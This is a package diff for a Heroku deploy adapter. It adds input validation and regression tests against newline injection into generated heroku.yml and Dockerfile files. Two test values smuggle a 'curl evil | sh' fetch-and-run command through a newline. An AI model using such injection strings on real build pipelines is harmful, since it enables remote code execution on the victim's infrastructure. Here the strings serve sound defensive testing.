@crewhaus/cloud-adapter-heroku 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@crewhaus/cloud-adapter-heroku",
3
- "version": "0.1.0",
3
+ "version": "0.1.2",
4
4
  "type": "module",
5
5
  "description": "One-click deploy adapter for Heroku — generates a heroku.yml + app.json + Dockerfile and wraps the Heroku Platform API for daemon target shapes (Section 44)",
6
6
  "main": "src/index.ts",
@@ -12,14 +12,14 @@
12
12
  "test": "bun test src"
13
13
  },
14
14
  "dependencies": {
15
- "@crewhaus/docker-images": "0.0.0",
16
- "@crewhaus/errors": "0.0.0"
15
+ "@crewhaus/docker-images": "0.1.2",
16
+ "@crewhaus/errors": "0.1.2"
17
17
  },
18
18
  "license": "Apache-2.0",
19
19
  "author": {
20
20
  "name": "Max Meier",
21
- "email": "max@studiomax.io",
22
- "url": "https://studiomax.io"
21
+ "email": "max@crewhaus.ai",
22
+ "url": "https://crewhaus.ai"
23
23
  },
24
24
  "repository": {
25
25
  "type": "git",
@@ -31,12 +31,7 @@
31
31
  "url": "https://github.com/crewhaus/factory/issues"
32
32
  },
33
33
  "publishConfig": {
34
- "access": "restricted"
34
+ "access": "public"
35
35
  },
36
- "files": [
37
- "src",
38
- "README.md",
39
- "LICENSE",
40
- "NOTICE"
41
- ]
36
+ "files": ["src", "README.md", "LICENSE", "NOTICE"]
42
37
  }
package/src/index.test.ts CHANGED
@@ -51,6 +51,29 @@ describe("herokuYmlFor", () => {
51
51
  test("rejects unsupported shapes", () => {
52
52
  expect(() => herokuYmlFor({ target: "cli" })).toThrow(HerokuAdapterError);
53
53
  });
54
+
55
+ // Regression: a `dockerfilePath` containing a newline could inject arbitrary
56
+ // top-level YAML sections (e.g. a `release:` block Heroku would execute).
57
+ test("rejects dockerfile path with newline injection", () => {
58
+ expect(() =>
59
+ herokuYmlFor({
60
+ target: "channel",
61
+ dockerfilePath: "Dockerfile\nrelease:\n command: ['curl evil | sh']",
62
+ }),
63
+ ).toThrow(HerokuAdapterError);
64
+ });
65
+
66
+ test("rejects dockerfile path with control character", () => {
67
+ expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile\t" })).toThrow(
68
+ HerokuAdapterError,
69
+ );
70
+ });
71
+
72
+ test("rejects empty dockerfile path", () => {
73
+ expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "" })).toThrow(
74
+ HerokuAdapterError,
75
+ );
76
+ });
54
77
  });
55
78
 
56
79
  describe("appJsonFor", () => {
@@ -88,6 +111,35 @@ describe("appJsonFor", () => {
88
111
  expect(a.indexOf('"ALPHA"')).toBeLessThan(a.indexOf('"ZETA"'));
89
112
  });
90
113
 
114
+ // An env-var entry that is explicitly `undefined` (only reachable from
115
+ // untyped JS callers) is skipped rather than serialized.
116
+ test("skips undefined env-var entries", () => {
117
+ const out = appJsonFor({
118
+ target: "channel",
119
+ name: "my-bot",
120
+ envVars: {
121
+ KEEP: { value: "1" },
122
+ DROP: undefined as unknown as { value?: string },
123
+ },
124
+ });
125
+ const parsed = JSON.parse(out);
126
+ expect(parsed.env).toEqual({ KEEP: { value: "1" } });
127
+ expect(parsed.env.DROP).toBeUndefined();
128
+ });
129
+
130
+ // When no env vars survive filtering, the `env` key is omitted entirely.
131
+ test("omits env key when no env vars provided", () => {
132
+ const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
133
+ expect(parsed.env).toBeUndefined();
134
+ });
135
+
136
+ test("includes description when provided", () => {
137
+ const parsed = JSON.parse(
138
+ appJsonFor({ target: "channel", name: "my-bot", description: "a demo bot" }),
139
+ );
140
+ expect(parsed.description).toBe("a demo bot");
141
+ });
142
+
91
143
  test("respects dyno size and quantity", () => {
92
144
  const parsed = JSON.parse(
93
145
  appJsonFor({
@@ -128,6 +180,29 @@ describe("herokuDockerfileFor", () => {
128
180
  HerokuAdapterError,
129
181
  );
130
182
  });
183
+
184
+ // Regression: a `baseImage` containing a newline could inject arbitrary
185
+ // Dockerfile instructions (e.g. a `RUN` directive executed at build time).
186
+ test("rejects base image with newline injection", () => {
187
+ expect(() =>
188
+ herokuDockerfileFor({
189
+ target: "channel",
190
+ baseImage: "crewhaus/channel:0.1.0\nRUN curl evil.example | sh",
191
+ }),
192
+ ).toThrow(HerokuAdapterError);
193
+ });
194
+
195
+ test("rejects base image with control character", () => {
196
+ expect(() =>
197
+ herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0\t" }),
198
+ ).toThrow(HerokuAdapterError);
199
+ });
200
+
201
+ test("rejects empty base image", () => {
202
+ expect(() => herokuDockerfileFor({ target: "channel", baseImage: "" })).toThrow(
203
+ HerokuAdapterError,
204
+ );
205
+ });
131
206
  });
132
207
 
133
208
  describe("scrubApiKey", () => {
@@ -139,6 +214,9 @@ describe("scrubApiKey", () => {
139
214
  test("ignores short keys", () => {
140
215
  expect(scrubApiKey("untouched", "abc")).toBe("untouched");
141
216
  });
217
+ test("passes through when key is undefined", () => {
218
+ expect(scrubApiKey("untouched", undefined)).toBe("untouched");
219
+ });
142
220
  });
143
221
 
144
222
  describe("deployToHeroku", () => {
@@ -193,6 +271,34 @@ describe("deployToHeroku", () => {
193
271
  expect(body["region"]).toBe("eu");
194
272
  });
195
273
 
274
+ // Custom apiBaseUrl is honored (also documents the SSRF surface: callers
275
+ // own the base URL, so it must come from trusted config).
276
+ test("respects custom apiBaseUrl", async () => {
277
+ let observedUrl = "";
278
+ const fetchImpl = (async (url: string | URL) => {
279
+ observedUrl = String(url);
280
+ return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
281
+ }) as unknown as typeof fetch;
282
+ await deployToHeroku({
283
+ appName: "my-bot",
284
+ apiKey: "hrk_testkey_abcdef",
285
+ apiBaseUrl: "https://api.heroku.example",
286
+ fetchImpl,
287
+ });
288
+ expect(observedUrl).toBe("https://api.heroku.example/apps");
289
+ });
290
+
291
+ test("uses HEROKU_API_KEY env var when apiKey not passed", async () => {
292
+ process.env[API_KEY_ENV] = "hrk_env_key_abcdef";
293
+ let authHeader = "";
294
+ const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
295
+ authHeader = (init?.headers as Record<string, string>)["Authorization"] ?? "";
296
+ return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
297
+ }) as unknown as typeof fetch;
298
+ await deployToHeroku({ appName: "my-bot", fetchImpl });
299
+ expect(authHeader).toBe("Bearer hrk_env_key_abcdef");
300
+ });
301
+
196
302
  test("scrubs API key from error bodies", async () => {
197
303
  const fetchImpl = (async () =>
198
304
  new Response("unauthorized — key hrk_leakingkey_full denied", {
@@ -213,6 +319,46 @@ describe("deployToHeroku", () => {
213
319
  expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
214
320
  });
215
321
 
322
+ // The transport-level failure path (fetch rejects) must also scrub the key.
323
+ test("scrubs API key from transport errors", async () => {
324
+ const fetchImpl = (async () => {
325
+ throw new Error("connect ECONNREFUSED while using Bearer hrk_leakingkey_full");
326
+ }) as unknown as typeof fetch;
327
+ let caught: Error | undefined;
328
+ try {
329
+ await deployToHeroku({
330
+ appName: "my-bot",
331
+ apiKey: "hrk_leakingkey_full",
332
+ fetchImpl,
333
+ });
334
+ } catch (err) {
335
+ caught = err as Error;
336
+ }
337
+ expect(caught).toBeInstanceOf(HerokuAdapterError);
338
+ expect(caught?.message).toContain("Heroku Platform API request failed");
339
+ expect(caught?.message).not.toContain("hrk_leakingkey_full");
340
+ expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
341
+ });
342
+
343
+ // Non-Error throw value from the transport is stringified, not crashed on.
344
+ test("handles non-Error transport rejection", async () => {
345
+ const fetchImpl = (async () => {
346
+ throw "string failure";
347
+ }) as unknown as typeof fetch;
348
+ let caught: Error | undefined;
349
+ try {
350
+ await deployToHeroku({
351
+ appName: "my-bot",
352
+ apiKey: "hrk_testkey_abcdef",
353
+ fetchImpl,
354
+ });
355
+ } catch (err) {
356
+ caught = err as Error;
357
+ }
358
+ expect(caught).toBeInstanceOf(HerokuAdapterError);
359
+ expect(caught?.message).toContain("string failure");
360
+ });
361
+
216
362
  test("throws clearly when no API key configured", async () => {
217
363
  delete process.env[API_KEY_ENV];
218
364
  let caught: Error | undefined;
@@ -225,6 +371,19 @@ describe("deployToHeroku", () => {
225
371
  expect(caught?.message).toContain("HEROKU_API_KEY is required");
226
372
  });
227
373
 
374
+ // An empty-string env var is treated the same as a missing one.
375
+ test("throws when HEROKU_API_KEY is empty", async () => {
376
+ process.env[API_KEY_ENV] = "";
377
+ let caught: Error | undefined;
378
+ try {
379
+ await deployToHeroku({ appName: "my-bot" });
380
+ } catch (err) {
381
+ caught = err as Error;
382
+ }
383
+ expect(caught).toBeInstanceOf(HerokuAdapterError);
384
+ expect(caught?.message).toContain("HEROKU_API_KEY is required");
385
+ });
386
+
228
387
  test("validates app name before network call", async () => {
229
388
  let called = false;
230
389
  const fetchImpl = (async () => {
@@ -257,4 +416,42 @@ describe("deployToHeroku", () => {
257
416
  });
258
417
  expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
259
418
  });
419
+
420
+ // Body that parses as JSON but lacks id/name is rejected (scrubbed).
421
+ test("rejects JSON response missing id/name", async () => {
422
+ const fetchImpl = (async () =>
423
+ new Response(JSON.stringify({ message: "created but weird" }), {
424
+ status: 201,
425
+ })) as unknown as typeof fetch;
426
+ let caught: Error | undefined;
427
+ try {
428
+ await deployToHeroku({
429
+ appName: "my-bot",
430
+ apiKey: "hrk_testkey_abcdef",
431
+ fetchImpl,
432
+ });
433
+ } catch (err) {
434
+ caught = err as Error;
435
+ }
436
+ expect(caught).toBeInstanceOf(HerokuAdapterError);
437
+ expect(caught?.message).toContain("missing id/name");
438
+ });
439
+
440
+ // A 2xx response whose body is not JSON surfaces a clear parse error.
441
+ test("rejects non-JSON success body", async () => {
442
+ const fetchImpl = (async () =>
443
+ new Response("<html>not json</html>", { status: 201 })) as unknown as typeof fetch;
444
+ let caught: Error | undefined;
445
+ try {
446
+ await deployToHeroku({
447
+ appName: "my-bot",
448
+ apiKey: "hrk_testkey_abcdef",
449
+ fetchImpl,
450
+ });
451
+ } catch (err) {
452
+ caught = err as Error;
453
+ }
454
+ expect(caught).toBeInstanceOf(HerokuAdapterError);
455
+ expect(caught?.message).toContain("non-JSON body");
456
+ });
260
457
  });
package/src/index.ts CHANGED
@@ -62,6 +62,17 @@ const PROCESS_FOR_TARGET: Readonly<Record<HerokuTargetShape, "web" | "worker">>
62
62
 
63
63
  const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
64
64
 
65
+ // Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
66
+ // into the generated heroku.yml / Dockerfile. A newline or other control
67
+ // character would let a caller inject arbitrary YAML sections or Dockerfile
68
+ // instructions (e.g. a top-level `release:` block, or a `RUN` directive that
69
+ // executes at build time). Legitimate filesystem paths and image references
70
+ // never contain control characters, so reject them outright.
71
+ // Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
72
+ // eslint-disable-next-line no-control-regex
73
+ // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
74
+ const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
75
+
65
76
  function assertHerokuTarget(target: TargetShape): asserts target is HerokuTargetShape {
66
77
  if (!isHerokuTargetShape(target)) {
67
78
  throw new HerokuAdapterError(
@@ -78,6 +89,15 @@ function assertAppName(name: string): void {
78
89
  }
79
90
  }
80
91
 
92
+ function assertNoInjection(label: string, value: string): void {
93
+ if (value.length === 0) {
94
+ throw new HerokuAdapterError(`${label} must not be empty.`);
95
+ }
96
+ if (CONTROL_CHAR_PATTERN.test(value)) {
97
+ throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
98
+ }
99
+ }
100
+
81
101
  export type HerokuYmlOptions = {
82
102
  readonly target: TargetShape;
83
103
  readonly dockerfilePath?: string;
@@ -94,6 +114,7 @@ export function herokuYmlFor(opts: HerokuYmlOptions): string {
94
114
  }
95
115
  assertHerokuTarget(opts.target);
96
116
  const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
117
+ assertNoInjection("dockerfilePath", dockerfilePath);
97
118
  const processName = PROCESS_FOR_TARGET[opts.target];
98
119
  const lines = [
99
120
  "# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
@@ -164,6 +185,7 @@ export function herokuDockerfileFor(opts: HerokuDockerfileOptions): string {
164
185
  throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
165
186
  }
166
187
  assertHerokuTarget(opts.target);
188
+ assertNoInjection("baseImage", opts.baseImage);
167
189
  // Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
168
190
  const lines = [
169
191
  `# Heroku-tuned wrapper around ${opts.baseImage}`,